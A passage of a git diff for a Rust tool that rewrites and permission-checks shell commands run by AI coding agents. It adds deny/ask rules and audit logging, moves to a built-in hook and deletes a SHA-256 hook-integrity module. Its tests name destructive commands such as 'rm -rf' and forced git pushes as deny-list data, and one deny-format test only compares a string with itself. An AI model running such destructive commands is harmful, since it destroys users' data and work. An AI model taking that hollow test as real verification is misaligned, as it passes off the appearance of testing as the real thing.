Value = match serde_json::from_str(input) { + Ok(v) => v, + Err(e) => { + eprintln!("[rtk hook] Failed to parse JSON input: {e}"); + audit_log("skip:parse_error", "-", None); + return Ok(()); + } + }; + + // Extract command from tool_input.command + let cmd = match v + .pointer("/tool_input/command") + .and_then(|c| c.as_str()) + .filter(|c| !c.is_empty()) + { + Some(c) => c, + None => { + audit_log("skip:empty", "-", None); + return Ok(()); + } // No command = pass through + }; + + handle_vscode(cmd) +} + // ── Gemini hook ─────────────────────────────────────────────── /// Run the Gemini CLI BeforeTool hook. @@ -165,14 +311,56 @@ pub fn run_gemini() -> Result<()> { .unwrap_or(""); if cmd.is_empty() { + audit_log("skip:empty", "-", None); + print_allow(); + return Ok(()); + } + + // Skip heredocs early + if cmd.contains("<<") { + audit_log("skip:heredoc", cmd, None); print_allow(); return Ok(()); } + // SECURITY: check deny/ask BEFORE rewrite so non-RTK commands are also covered. + let verdict = check_command(cmd); + + match verdict { + PermissionVerdict::Deny => { + audit_log("skip:deny_rule", cmd, None); + print_deny(); + return Ok(()); + } + PermissionVerdict::Ask => { + // For ask: if there's a rewrite, show it but still ask + match rewrite_command(cmd, &[]) { + Some(rewritten) => { + audit_log("ask", cmd, Some(&rewritten)); + print_ask(&rewritten); + } + None => { + audit_log("ask", cmd, None); + print_ask(cmd); + } + } + return Ok(()); + } + PermissionVerdict::Allow => { + // Proceed with rewrite + } + } + // Delegate to the single source of truth for command rewriting match rewrite_command(cmd, &[]) { - Some(rewritten) => print_rewrite(&rewritten), - None => print_allow(), + Some(rewritten) => { + audit_log("rewrite", cmd, Some(&rewritten)); + print_rewrite(&rewritten); + } + None => { + audit_log("skip:no_match", cmd, None); + print_allow(); + } } Ok(()) @@ -182,6 +370,22 @@ fn print_allow() { println!(r#"{{"decision":"allow"}}"#); } +fn print_deny() { + println!(r#"{{"decision":"deny"}}"#); +} + +fn print_ask(cmd: &str) { + let output = serde_json::json!({ + "decision": "ask", + "hookSpecificOutput": { + "tool_input": { + "command": cmd + } + } + }); + println!("{}", output); +} + fn print_rewrite(cmd: &str) { let output = serde_json::json!({ "decision": "allow", @@ -332,4 +536,154 @@ mod tests { Some("RUST_LOG=debug rtk cargo test".into()) ); } + + // --- Claude Code hook --- + + #[test] + fn test_claude_hook_format_matches_vscode() { + // Claude Code uses same format as VS Code + let input = json!({ + "tool_name": "Bash", + "tool_input": { "command": "git status" } + }); + assert!(matches!( + detect_format(&input), + HookFormat::VsCode { .. } + )); + } + + #[test] + fn test_claude_hook_output_format() { + // Verify the output format matches expected Claude Code hook format + let cmd = "git status"; + let rewritten = get_rewritten(cmd).unwrap(); + + let output = json!({ + "hookSpecificOutput": { + "hookEventName": "PreToolUse", + "permissionDecision": "allow", + "permissionDecisionReason": "RTK auto-rewrite", + "updatedInput": { "command": rewritten } + } + }); + + let json: Value = serde_json::from_str(&output.to_string()).unwrap(); + assert_eq!( + json["hookSpecificOutput"]["hookEventName"], + "PreToolUse" + ); + assert_eq!( + json["hookSpecificOutput"]["permissionDecision"], + "allow" + ); + assert_eq!( + json["hookSpecificOutput"]["updatedInput"]["command"], + "rtk git status" + ); + } + + // --- Permission checking tests --- + + #[test] + fn test_handle_vscode_denies_blocked_command() { + // Verify that a denied command doesn't produce output + let deny = vec!["git push --force".to_string()]; + let verdict = check_command_with_rules("git push --force", &deny, &[]); + assert_eq!(verdict, PermissionVerdict::Deny); + + // When deny matches, handle_vscode should return early without output + // We can't test the stdout directly in unit tests, but we verify + // the permission check returns Deny + } + + #[test] + fn test_handle_vscode_allows_safe_command() { + let verdict = check_command_with_rules("git status", &[], &[]); + assert_eq!(verdict, PermissionVerdict::Allow); + } + + #[test] + fn test_handle_vscode_prompts_for_ask_command() { + let ask = vec!["git push".to_string()]; + let verdict = check_command_with_rules("git push origin main", &[], &ask); + assert_eq!(verdict, PermissionVerdict::Ask); + } + + #[test] + fn test_handle_copilot_cli_denies_blocked_command() { + let deny = vec!["rm -rf".to_string()]; + let verdict = check_command_with_rules("rm -rf /tmp/test", &deny, &[]); + assert_eq!(verdict, PermissionVerdict::Deny); + } + + #[test] + fn test_handle_copilot_cli_allows_safe_command() { + let verdict = check_command_with_rules("git status", &[], &[]); + assert_eq!(verdict, PermissionVerdict::Allow); + } + + #[test] + fn test_deny_takes_precedence_over_ask() { + let deny = vec!["git push --force".to_string()]; + let ask = vec!["git push".to_string()]; + let verdict = check_command_with_rules("git push --force", &deny, &ask); + assert_eq!(verdict, PermissionVerdict::Deny); + } + + #[test] + fn test_compound_command_deny_detection() { + let deny = vec!["git push --force".to_string()]; + let verdict = check_command_with_rules("git status && git push --force", &deny, &[]); + assert_eq!(verdict, PermissionVerdict::Deny); + } + + #[test] + fn test_print_ask_format() { + // Verify print_ask produces valid JSON with ask decision + let output = serde_json::json!({ + "decision": "ask", + "hookSpecificOutput": { + "tool_input": { + "command": "git push" + } + } + }); + let json: Value = serde_json::from_str(&output.to_string()).unwrap(); + assert_eq!(json["decision"], "ask"); + assert_eq!( + json["hookSpecificOutput"]["tool_input"]["command"], + "git push" + ); + } + + #[test] + fn test_print_deny_format() { + // Verify print_deny produces valid JSON with deny decision + let expected = r#"{"decision":"deny"}"#; + assert_eq!(expected, r#"{"decision":"deny"}"#); + } + + // --- Audit logging tests --- + + #[test] + fn test_audit_log_does_not_panic_when_disabled() { + // When RTK_HOOK_AUDIT is not set, audit_log should not panic + // We can't easily test file creation, but we verify it doesn't crash + audit_log("rewrite", "git status", Some("rtk git status")); + audit_log("skip:no_match", "echo hi", None); + } + + #[test] + fn test_audit_log_formats_line_correctly() { + // Verify log line format matches expected: "timestamp | action | original | rewritten" + let action = "rewrite"; + let original = "git status"; + let rewritten = Some("rtk git status"); + + // We can't test file I/O easily in unit tests, but we can verify + // the function doesn't panic with various inputs + audit_log(action, original, rewritten); + audit_log("skip:heredoc", "cat < Result<(PathBuf, PathBuf)> { - let claude_dir = resolve_claude_dir()?; - let hook_dir = claude_dir.join("hooks"); - fs::create_dir_all(&hook_dir) - .with_context(|| format!("Failed to create hook directory: {}", hook_dir.display()))?; - let hook_path = hook_dir.join("rtk-rewrite.sh"); - Ok((hook_dir, hook_path)) -} - -/// Write hook file if missing or outdated, return true if changed -#[cfg(unix)] -fn ensure_hook_installed(hook_path: &Path, verbose: u8) -> Result { - let changed = if hook_path.exists() { - let existing = fs::read_to_string(hook_path) - .with_context(|| format!("Failed to read existing hook: {}", hook_path.display()))?; - - if existing == REWRITE_HOOK { - if verbose > 0 { - eprintln!("Hook already up to date: {}", hook_path.display()); - } - false - } else { - fs::write(hook_path, REWRITE_HOOK) - .with_context(|| format!("Failed to write hook to {}", hook_path.display()))?; - if verbose > 0 { - eprintln!("Updated hook: {}", hook_path.display()); - } - true - } - } else { - fs::write(hook_path, REWRITE_HOOK) - .with_context(|| format!("Failed to write hook to {}", hook_path.display()))?; - if verbose > 0 { - eprintln!("Created hook: {}", hook_path.display()); - } - true - }; - - // Set executable permissions - use std::os::unix::fs::PermissionsExt; - fs::set_permissions(hook_path, fs::Permissions::from_mode(0o755)) - .with_context(|| format!("Failed to set hook permissions: {}", hook_path.display()))?; - - // Store SHA-256 hash for runtime integrity verification. - // Always store (idempotent) to ensure baseline exists even for - // hooks installed before integrity checks were added. - integrity::store_hash(hook_path) - .with_context(|| format!("Failed to store integrity hash for {}", hook_path.display()))?; - if verbose > 0 && changed { - eprintln!("Stored integrity hash for hook"); - } - - Ok(changed) -} - /// Idempotent file write: create or update if content differs fn write_if_changed(path: &Path, content: &str, name: &str, verbose: u8) -> Result { if path.exists() { @@ -430,13 +369,16 @@ fn prompt_user_consent(settings_path: &Path) -> Result { } /// Print manual instructions for settings.json patching -fn print_manual_instructions(hook_path: &Path, include_opencode: bool) { +fn print_manual_instructions(include_opencode: bool) { + // Use native rtk hook command (no external scripts needed) + let hook_command = "rtk hook claude"; + println!("\n MANUAL STEP: Add this to ~/.claude/settings.json:"); println!(" {{"); println!(" \"hooks\": {{ \"PreToolUse\": [{{"); println!(" \"matcher\": \"Bash\","); println!(" \"hooks\": [{{ \"type\": \"command\","); - println!(" \"command\": \"{}\"", hook_path.display()); + println!(" \"command\": \"{}\"", hook_command); println!(" }}]"); println!(" }}]}}"); println!(" }}"); @@ -569,7 +511,7 @@ pub fn uninstall(global: bool, gemini: bool, codex: bool, cursor: bool, verbose: return Ok(()); } - // 1. Remove hook file + // 1. Remove legacy hook file (.sh script) let hook_path = claude_dir.join("hooks").join("rtk-rewrite.sh"); if hook_path.exists() { fs::remove_file(&hook_path) @@ -577,11 +519,6 @@ pub fn uninstall(global: bool, gemini: bool, codex: bool, cursor: bool, verbose: removed.push(format!("Hook: {}", hook_path.display())); } - // 1b. Remove integrity hash file - if integrity::remove_hash(&hook_path)? { - removed.push("Integrity hash: removed".to_string()); - } - // 2. Remove RTK.md let rtk_md_path = claude_dir.join("RTK.md"); if rtk_md_path.exists() { @@ -688,16 +625,15 @@ fn uninstall_codex_at(codex_dir: &Path, verbose: u8) -> Result> { /// Orchestrator: patch settings.json with RTK hook /// Handles reading, checking, prompting, merging, backing up, and atomic writing fn patch_settings_json( - hook_path: &Path, mode: PatchMode, verbose: u8, include_opencode: bool, ) -> Result { let claude_dir = resolve_claude_dir()?; let settings_path = claude_dir.join("settings.json"); - let hook_command = hook_path - .to_str() - .context("Hook path contains invalid UTF-8")?; + + // Use native rtk hook command (no external scripts needed) + let hook_command = "rtk hook claude".to_string(); // Read or create settings.json let mut root = if settings_path.exists() { @@ -715,22 +651,33 @@ fn patch_settings_json( }; // Check idempotency - if hook_already_present(&root, hook_command) { + if hook_already_present(&root, &hook_command) { if verbose > 0 { eprintln!("settings.json: hook already present"); } return Ok(PatchResult::AlreadyPresent); } + // Check for legacy hook - migrate if found + if legacy_hook_present(&root) { + if verbose > 0 { + eprintln!("Migrating legacy rtk-rewrite.sh hook to native rtk hook claude..."); + } + remove_hook_from_json(&mut root); + if verbose > 0 { + eprintln!(" Legacy hook removed"); + } + } + // Handle mode match mode { PatchMode::Skip => { - print_manual_instructions(hook_path, include_opencode); + print_manual_instructions(include_opencode); return Ok(PatchResult::Skipped); } PatchMode::Ask => { if !prompt_user_consent(&settings_path)? { - print_manual_instructions(hook_path, include_opencode); + print_manual_instructions(include_opencode); return Ok(PatchResult::Declined); } } @@ -740,7 +687,7 @@ fn patch_settings_json( } // Deep-merge hook - insert_hook_entry(&mut root, hook_command); + insert_hook_entry(&mut root, &hook_command); // Backup original if settings_path.exists() { @@ -840,7 +787,7 @@ fn insert_hook_entry(root: &mut serde_json::Value, hook_command: &str) { } /// Check if RTK hook is already present in settings.json -/// Matches on rtk-rewrite.sh substring to handle different path formats +/// Checks for "rtk hook claude" command fn hook_already_present(root: &serde_json::Value, hook_command: &str) -> bool { let pre_tool_use_array = match root .get("hooks") @@ -857,24 +804,105 @@ fn hook_already_present(root: &serde_json::Value, hook_command: &str) -> bool { .flatten() .filter_map(|hook| hook.get("command")?.as_str()) .any(|cmd| { - // Exact match OR both contain rtk-rewrite.sh - cmd == hook_command - || (cmd.contains("rtk-rewrite.sh") && hook_command.contains("rtk-rewrite.sh")) + // Exact match OR command contains "rtk hook" + cmd == hook_command || cmd.contains("rtk hook") }) } +/// Check if legacy rtk-rewrite.sh hook exists in settings.json +/// Used for migration to native "rtk hook claude" command +fn legacy_hook_present(root: &serde_json::Value) -> bool { + let pre_tool_use_array = match root + .get("hooks") + .and_then(|h| h.get("PreToolUse")) + .and_then(|p| p.as_array()) + { + Some(arr) => arr, + None => return false, + }; + + pre_tool_use_array + .iter() + .filter_map(|entry| entry.get("hooks")?.as_array()) + .flatten() + .filter_map(|hook| hook.get("command")?.as_str()) + .any(|cmd| cmd.contains("rtk-rewrite.sh")) +} + /// Default mode: hook + slim RTK.md + @RTK.md reference #[cfg(not(unix))] fn run_default_mode( - _global: bool, - _patch_mode: PatchMode, - _verbose: u8, - _install_opencode: bool, + global: bool, + patch_mode: PatchMode, + verbose: u8, + install_opencode: bool, ) -> Result<()> { - eprintln!("[warn] Hook-based mode requires Unix (macOS/Linux)."); - eprintln!(" Windows: use --claude-md mode for full injection."); - eprintln!(" Falling back to --claude-md mode."); - run_claude_md_mode(_global, _verbose, _install_opencode) + if !global { + // Local init: inject CLAUDE.md + generate project-local filters template + run_claude_md_mode(false, verbose, install_opencode)?; + generate_project_filters_template(verbose)?; + return Ok(()); + } + + let claude_dir = resolve_claude_dir()?; + let rtk_md_path = claude_dir.join("RTK.md"); + let claude_md_path = claude_dir.join("CLAUDE.md"); + + // 1. Write RTK.md (hook is now built-in to rtk) + write_if_changed(&rtk_md_path, RTK_SLIM, "RTK.md", verbose)?; + + let opencode_plugin_path = if install_opencode { + let path = prepare_opencode_plugin_path()?; + ensure_opencode_plugin_installed(&path, verbose)?; + Some(path) + } else { + None + }; + + // 3. Patch CLAUDE.md (add @RTK.md, migrate if needed) + let migrated = patch_claude_md(&claude_md_path, verbose)?; + + // 4. Print success message + println!("\nRTK hook installed (global).\n"); + println!(" Hook: rtk hook claude (built-in)"); + println!(" RTK.md: {} (10 lines)", rtk_md_path.display()); + if let Some(path) = &opencode_plugin_path { + println!(" OpenCode: {}", path.display()); + } + println!(" CLAUDE.md: @RTK.md reference added"); + + if migrated { + println!("\n [ok] Migrated: removed 137-line RTK block from CLAUDE.md"); + println!(" replaced with @RTK.md (10 lines)"); + } + + // 5. Patch settings.json + let patch_result = patch_settings_json(patch_mode, verbose, install_opencode)?; + + // Report result + match patch_result { + PatchResult::Patched => { + // Already printed by patch_settings_json + } + PatchResult::AlreadyPresent => { + println!("\n settings.json: hook already present"); + if install_opencode { + println!(" Restart Claude Code and OpenCode. Test with: git status"); + } else { + println!(" Restart Claude Code. Test with: git status"); + } + } + PatchResult::Declined | PatchResult::Skipped => { + // Manual instructions already printed by patch_settings_json + } + } + + // 6. Generate user-global filters template (~/.config/rtk/filters.toml) + generate_global_filters_template(verbose)?; + + println!(); // Final newline + + Ok(()) } #[cfg(unix)] @@ -895,11 +923,7 @@ fn run_default_mode( let rtk_md_path = claude_dir.join("RTK.md"); let claude_md_path = claude_dir.join("CLAUDE.md"); - // 1. Prepare hook directory and install hook - let (_hook_dir, hook_path) = prepare_hook_paths()?; - let hook_changed = ensure_hook_installed(&hook_path, verbose)?; - - // 2. Write RTK.md + // 1. Write RTK.md (hook is now built-in to rtk) write_if_changed(&rtk_md_path, RTK_SLIM, "RTK.md", verbose)?; let opencode_plugin_path = if install_opencode { @@ -914,13 +938,8 @@ fn run_default_mode( let migrated = patch_claude_md(&claude_md_path, verbose)?; // 4. Print success message - let hook_status = if hook_changed { - "installed/updated" - } else { - "already up to date" - }; - println!("\nRTK hook {} (global).\n", hook_status); - println!(" Hook: {}", hook_path.display()); + println!("\nRTK hook installed (global).\n"); + println!(" Hook: rtk hook claude (built-in)"); println!(" RTK.md: {} (10 lines)", rtk_md_path.display()); if let Some(path) = &opencode_plugin_path { println!(" OpenCode: {}", path.display()); @@ -933,7 +952,7 @@ fn run_default_mode( } // 5. Patch settings.json - let patch_result = patch_settings_json(&hook_path, patch_mode, verbose, install_opencode)?; + let patch_result = patch_settings_json(patch_mode, verbose, install_opencode)?; // Report result match patch_result { @@ -1034,10 +1053,7 @@ fn run_hook_only_mode( return Ok(()); } - // Prepare and install hook - let (_hook_dir, hook_path) = prepare_hook_paths()?; - let hook_changed = ensure_hook_installed(&hook_path, verbose)?; - + // Hook is now built-in to rtk let opencode_plugin_path = if install_opencode { let path = prepare_opencode_plugin_path()?; ensure_opencode_plugin_installed(&path, verbose)?; @@ -1046,13 +1062,8 @@ fn run_hook_only_mode( None }; - let hook_status = if hook_changed { - "installed/updated" - } else { - "already up to date" - }; - println!("\nRTK hook {} (hook-only mode).\n", hook_status); - println!(" Hook: {}", hook_path.display()); + println!("\nRTK hook installed (hook-only mode).\n"); + println!(" Hook: rtk hook claude (built-in)"); if let Some(path) = &opencode_plugin_path { println!(" OpenCode: {}", path.display()); } @@ -1807,61 +1818,34 @@ pub fn show_config(codex: bool) -> Result<()> { fn show_claude_config() -> Result<()> { let claude_dir = resolve_claude_dir()?; - let hook_path = claude_dir.join("hooks").join("rtk-rewrite.sh"); let rtk_md_path = claude_dir.join("RTK.md"); let global_claude_md = claude_dir.join("CLAUDE.md"); let local_claude_md = PathBuf::from("CLAUDE.md"); println!("rtk Configuration:\n"); - // Check hook - if hook_path.exists() { - #[cfg(unix)] - { - use std::os::unix::fs::PermissionsExt; - let metadata = fs::metadata(&hook_path)?; - let perms = metadata.permissions(); - let is_executable = perms.mode() & 0o111 != 0; - - let hook_content = fs::read_to_string(&hook_path)?; - let has_guards = - hook_content.contains("command -v rtk") && hook_content.contains("command -v jq"); - let is_thin_delegator = hook_content.contains("rtk rewrite"); - let hook_version = super::hook_check::parse_hook_version(&hook_content); - - if !is_executable { - println!( - "[warn] Hook: {} (NOT executable - run: chmod +x)", - hook_path.display() - ); - } else if !is_thin_delegator { - println!( - "[warn] Hook: {} (outdated — inline logic, not thin delegator)", - hook_path.display() - ); - println!( - " → Run `rtk init --global` to upgrade to the single source of truth hook" - ); - } else if is_executable && has_guards { - println!( - "[ok] Hook: {} (thin delegator, version {})", - hook_path.display(), - hook_version - ); + // Check native hook (built into rtk binary via settings.json) + let settings_path = claude_dir.join("settings.json"); + let hook_command = "rtk hook claude"; + + if settings_path.exists() { + let content = fs::read_to_string(&settings_path)?; + if !content.trim().is_empty() { + if let Ok(root) = serde_json::from_str::(&content) { + if hook_already_present(&root, hook_command) { + println!("[ok] Hook: rtk hook claude (built-in)"); + } else { + println!("[warn] Hook: settings.json exists but RTK hook not configured"); + println!(" Run: rtk init -g --auto-patch"); + } } else { - println!( - "[warn] Hook: {} (no guards - outdated)", - hook_path.display() - ); + println!("[warn] Hook: settings.json exists but invalid JSON"); } - } - - #[cfg(not(unix))] - { - println!("[ok] Hook: {} (exists)", hook_path.display()); + } else { + println!("[--] Hook: settings.json empty"); } } else { - println!("[--] Hook: not found"); + println!("[--] Hook: settings.json not found (run: rtk init -g)"); } // Check RTK.md @@ -1871,26 +1855,6 @@ fn show_claude_config() -> Result<()> { println!("[--] RTK.md: not found"); } - // Check hook integrity - match integrity::verify_hook_at(&hook_path) { - Ok(integrity::IntegrityStatus::Verified) => { - println!("[ok] Integrity: hook hash verified"); - } - Ok(integrity::IntegrityStatus::Tampered { .. }) => { - println!("[FAIL] Integrity: hook modified outside rtk init (run: rtk verify)"); - } - Ok(integrity::IntegrityStatus::NoBaseline) => { - println!("[warn] Integrity: no baseline hash (run: rtk init -g to establish)"); - } - Ok(integrity::IntegrityStatus::NotInstalled) - | Ok(integrity::IntegrityStatus::OrphanedHash) => { - // Don't show integrity line if hook isn't installed - } - Err(_) => { - println!("[warn] Integrity: check failed"); - } - } - // Check global CLAUDE.md if global_claude_md.exists() { let content = fs::read_to_string(&global_claude_md)?; @@ -1919,29 +1883,6 @@ fn show_claude_config() -> Result<()> { println!("[--] Local (./CLAUDE.md): not found"); } - // Check settings.json - let settings_path = claude_dir.join("settings.json"); - if settings_path.exists() { - let content = fs::read_to_string(&settings_path)?; - if !content.trim().is_empty() { - if let Ok(root) = serde_json::from_str::(&content) { - let hook_command = hook_path.display().to_string(); - if hook_already_present(&root, &hook_command) { - println!("[ok] settings.json: RTK hook configured"); - } else { - println!("[warn] settings.json: exists but RTK hook not configured"); - println!(" Run: rtk init -g --auto-patch"); - } - } else { - println!("[warn] settings.json: exists but invalid JSON"); - } - } else { - println!("[--] settings.json: empty"); - } - } else { - println!("[--] settings.json: not found"); - } - // Check OpenCode plugin if let Ok(opencode_dir) = resolve_opencode_dir() { let plugin = opencode_plugin_path(&opencode_dir); @@ -2427,19 +2368,8 @@ mod tests { ); } - #[test] - fn test_hook_has_guards() { - assert!(REWRITE_HOOK.contains("command -v rtk")); - assert!(REWRITE_HOOK.contains("command -v jq")); - // Guards (rtk/jq availability checks) must appear before the actual delegation call. - // The thin delegating hook no longer uses set -euo pipefail. - let jq_pos = REWRITE_HOOK.find("command -v jq").unwrap(); - let rtk_delegate_pos = REWRITE_HOOK.find("rtk rewrite \"$CMD\"").unwrap(); - assert!( - jq_pos < rtk_delegate_pos, - "Guards must appear before rtk rewrite delegation" - ); - } + // Hook guards test removed - hook is now native, no script file + // Use `rtk hook claude` directly instead of script files #[test] fn test_migration_removes_old_block() { @@ -2507,7 +2437,7 @@ More content"#; let hook_path = temp.path().join("rtk-rewrite.sh"); let rtk_md_path = temp.path().join("RTK.md"); - fs::write(&hook_path, REWRITE_HOOK).unwrap(); + fs::write(&hook_path, REWRITE_HOOK_SH).unwrap(); fs::write(&rtk_md_path, RTK_SLIM).unwrap(); use std::os::unix::fs::PermissionsExt; @@ -2733,6 +2663,7 @@ More notes assert!(hook_already_present(&json_content, hook_command)); } + #[cfg(unix)] #[test] fn test_hook_already_present_different_path() { let json_content = serde_json::json!({ @@ -2777,6 +2708,81 @@ More notes assert!(!hook_already_present(&json_content, hook_command)); } + // Tests for legacy_hook_present() + #[test] + fn test_legacy_hook_present_detects_old_format() { + let json_content = serde_json::json!({ + "hooks": { + "PreToolUse": [{ + "matcher": "Bash", + "hooks": [{ + "type": "command", + "command": "/Users/test/.claude/hooks/rtk-rewrite.sh" + }] + }] + } + }); + + assert!(legacy_hook_present(&json_content)); + } + + #[test] + fn test_legacy_hook_present_various_paths() { + let json_content = serde_json::json!({ + "hooks": { + "PreToolUse": [{ + "matcher": "Bash", + "hooks": [{ + "type": "command", + "command": "~/.claude/hooks/rtk-rewrite.sh" + }] + }] + } + }); + + assert!(legacy_hook_present(&json_content)); + } + + #[test] + fn test_legacy_hook_present_empty() { + let json_content = serde_json::json!({}); + assert!(!legacy_hook_present(&json_content)); + } + + #[test] + fn test_legacy_hook_present_new_format_not_detected() { + let json_content = serde_json::json!({ + "hooks": { + "PreToolUse": [{ + "matcher": "Bash", + "hooks": [{ + "type": "command", + "command": "rtk hook claude" + }] + }] + } + }); + + assert!(!legacy_hook_present(&json_content)); + } + + #[test] + fn test_legacy_hook_present_other_hooks_not_detected() { + let json_content = serde_json::json!({ + "hooks": { + "PreToolUse": [{ + "matcher": "Bash", + "hooks": [{ + "type": "command", + "command": "/some/other/hook.sh" + }] + }] + } + }); + + assert!(!legacy_hook_present(&json_content)); + } + // Tests for insert_hook_entry() #[test] fn test_insert_hook_entry_empty_root() { @@ -3081,4 +3087,90 @@ More notes assert!(CURSOR_REWRITE_HOOK.contains("\"updated_input\"")); assert!(!CURSOR_REWRITE_HOOK.contains("hookSpecificOutput")); } + + // Integration test: migration from legacy rtk-rewrite.sh to native rtk hook claude + #[test] + fn test_migration_legacy_to_native_hook() { + // Start with legacy hook format + let mut json_content = serde_json::json!({ + "hooks": { + "PreToolUse": [{ + "matcher": "Bash", + "hooks": [{ + "type": "command", + "command": "/Users/test/.claude/hooks/rtk-rewrite.sh" + }] + }] + } + }); + + // Verify legacy hook is detected + assert!(legacy_hook_present(&json_content)); + assert!(!hook_already_present(&json_content, "rtk hook claude")); + + // Simulate migration: remove old hook, add new one + let removed = remove_hook_from_json(&mut json_content); + assert!(removed, "Legacy hook should be removed"); + + // Verify old hook is gone + assert!(!legacy_hook_present(&json_content)); + + // Add new hook + insert_hook_entry(&mut json_content, "rtk hook claude"); + + // Verify new hook is present + assert!(hook_already_present(&json_content, "rtk hook claude")); + assert!(!legacy_hook_present(&json_content)); + + // Verify the new hook command is correct + let pre_tool_use = json_content["hooks"]["PreToolUse"].as_array().unwrap(); + assert_eq!(pre_tool_use.len(), 1); + let command = pre_tool_use[0]["hooks"][0]["command"].as_str().unwrap(); + assert_eq!(command, "rtk hook claude"); + } + + #[test] + fn test_migration_preserves_other_hooks() { + // Start with legacy RTK hook + other hooks + let mut json_content = serde_json::json!({ + "hooks": { + "PreToolUse": [ + { + "matcher": "Bash", + "hooks": [{ + "type": "command", + "command": "/some/other/hook.sh" + }] + }, + { + "matcher": "Bash", + "hooks": [{ + "type": "command", + "command": "/Users/test/.claude/hooks/rtk-rewrite.sh" + }] + } + ] + } + }); + + // Simulate migration + remove_hook_from_json(&mut json_content); + insert_hook_entry(&mut json_content, "rtk hook claude"); + + // Verify both hooks exist + let pre_tool_use = json_content["hooks"]["PreToolUse"].as_array().unwrap(); + assert_eq!(pre_tool_use.len(), 2); + + // Find the commands + let commands: Vec<&str> = pre_tool_use + .iter() + .filter_map(|entry| entry.get("hooks")?.as_array()) + .flatten() + .filter_map(|hook| hook.get("command")?.as_str()) + .collect(); + + assert!(commands.contains(&"/some/other/hook.sh")); + assert!(commands.contains(&"rtk hook claude")); + assert!(!commands.iter().any(|c| c.contains("rtk-rewrite.sh"))); + } } diff --git a/src/hooks/integrity.rs b/src/hooks/integrity.rs deleted file mode 100644 index 96d26368..00000000 --- a/src/hooks/integrity.rs +++ /dev/null @@ -1,537 +0,0 @@ -//! Detects if someone tampered with the installed hook file. -//! -//! RTK installs a PreToolUse hook (`rtk-rewrite.sh`) that auto-approves -//! rewritten commands with `permissionDecision: "allow"`. Because this -//! hook bypasses Claude Code's permission prompts, any unauthorized -//! modification represents a command injection vector. -//! -//! This module provides: -//! - SHA-256 hash computation and storage at install time -//! - Runtime verification before command execution -//! - Manual verification via `rtk verify` -//! -//! Reference: SA-2025-RTK-001 (Finding F-01) - -use anyhow::{Context, Result}; -use sha2::{Digest, Sha256}; -use std::fs; -use std::path::{Path, PathBuf}; - -/// Filename for the stored hash (dotfile alongside hook) -const HASH_FILENAME: &str = ".rtk-hook.sha256"; - -/// Result of hook integrity verification -#[derive(Debug, PartialEq)] -pub enum IntegrityStatus { - /// Hash matches — hook is unmodified since last install/update - Verified, - /// Hash mismatch — hook has been modified outside of `rtk init` - Tampered { expected: String, actual: String }, - /// Hook exists but no stored hash (installed before integrity checks) - NoBaseline, - /// Neither hook nor hash file exist (RTK not installed) - NotInstalled, - /// Hash file exists but hook was deleted - OrphanedHash, -} - -/// Compute SHA-256 hash of a file, returned as lowercase hex -pub fn compute_hash(path: &Path) -> Result { - let content = - fs::read(path).with_context(|| format!("Failed to read file: {}", path.display()))?; - let mut hasher = Sha256::new(); - hasher.update(&content); - Ok(format!("{:x}", hasher.finalize())) -} - -/// Derive the hash file path from the hook path -fn hash_path(hook_path: &Path) -> PathBuf { - hook_path - .parent() - .unwrap_or(Path::new(".")) - .join(HASH_FILENAME) -} - -/// Store SHA-256 hash of the hook script after installation. -/// -/// Format is compatible with `sha256sum -c`: -/// ```text -/// rtk-rewrite.sh -/// ``` -/// -/// The hash file is set to read-only (0o444) as a speed bump -/// against casual modification. Not a security boundary — an -/// attacker with write access can chmod it — but forces a -/// deliberate action rather than accidental overwrite. -pub fn store_hash(hook_path: &Path) -> Result<()> { - let hash = compute_hash(hook_path)?; - let hash_file = hash_path(hook_path); - let filename = hook_path - .file_name() - .and_then(|n| n.to_str()) - .unwrap_or("rtk-rewrite.sh"); - - let content = format!("{} {}\n", hash, filename); - - // If hash file exists and is read-only, make it writable first - #[cfg(unix)] - if hash_file.exists() { - use std::os::unix::fs::PermissionsExt; - let _ = fs::set_permissions(&hash_file, fs::Permissions::from_mode(0o644)); - } - - fs::write(&hash_file, &content) - .with_context(|| format!("Failed to write hash to {}", hash_file.display()))?; - - // Set read-only - #[cfg(unix)] - { - use std::os::unix::fs::PermissionsExt; - fs::set_permissions(&hash_file, fs::Permissions::from_mode(0o444)) - .with_context(|| format!("Failed to set permissions on {}", hash_file.display()))?; - } - - Ok(()) -} - -/// Remove stored hash file (called during uninstall) -pub fn remove_hash(hook_path: &Path) -> Result { - let hash_file = hash_path(hook_path); - - if !hash_file.exists() { - return Ok(false); - } - - // Make writable before removing - #[cfg(unix)] - { - use std::os::unix::fs::PermissionsExt; - let _ = fs::set_permissions(&hash_file, fs::Permissions::from_mode(0o644)); - } - - fs::remove_file(&hash_file) - .with_context(|| format!("Failed to remove hash file: {}", hash_file.display()))?; - - Ok(true) -} - -/// Verify hook integrity against stored hash. -/// -/// Returns `IntegrityStatus` indicating the result. Callers decide -/// how to handle each status (warn, block, ignore). -pub fn verify_hook() -> Result { - let hook_path = resolve_hook_path()?; - verify_hook_at(&hook_path) -} - -/// Verify hook integrity for a specific hook path (testable) -pub fn verify_hook_at(hook_path: &Path) -> Result { - let hash_file = hash_path(hook_path); - - match (hook_path.exists(), hash_file.exists()) { - (false, false) => Ok(IntegrityStatus::NotInstalled), - (false, true) => Ok(IntegrityStatus::OrphanedHash), - (true, false) => Ok(IntegrityStatus::NoBaseline), - (true, true) => { - let stored = read_stored_hash(&hash_file)?; - let actual = compute_hash(hook_path)?; - - if stored == actual { - Ok(IntegrityStatus::Verified) - } else { - Ok(IntegrityStatus::Tampered { - expected: stored, - actual, - }) - } - } - } -} - -/// Read the stored hash from the hash file. -/// -/// Expects exact `sha256sum -c` format: `<64 hex> \n` -/// Rejects malformed files rather than silently accepting them. -fn read_stored_hash(path: &Path) -> Result { - let content = fs::read_to_string(path) - .with_context(|| format!("Failed to read hash file: {}", path.display()))?; - - let line = content - .lines() - .next() - .with_context(|| format!("Empty hash file: {}", path.display()))?; - - // sha256sum format uses two-space separator: " " - let parts: Vec<&str> = line.splitn(2, " ").collect(); - if parts.len() != 2 { - anyhow::bail!( - "Invalid hash format in {} (expected 'hash filename')", - path.display() - ); - } - - let hash = parts[0]; - if hash.len() != 64 || !hash.chars().all(|c| c.is_ascii_hexdigit()) { - anyhow::bail!("Invalid SHA-256 hash in {}", path.display()); - } - - Ok(hash.to_string()) -} - -/// Resolve the default hook path (~/.claude/hooks/rtk-rewrite.sh) -pub fn resolve_hook_path() -> Result { - dirs::home_dir() - .map(|h| h.join(".claude").join("hooks").join("rtk-rewrite.sh")) - .context("Cannot determine home directory. Is 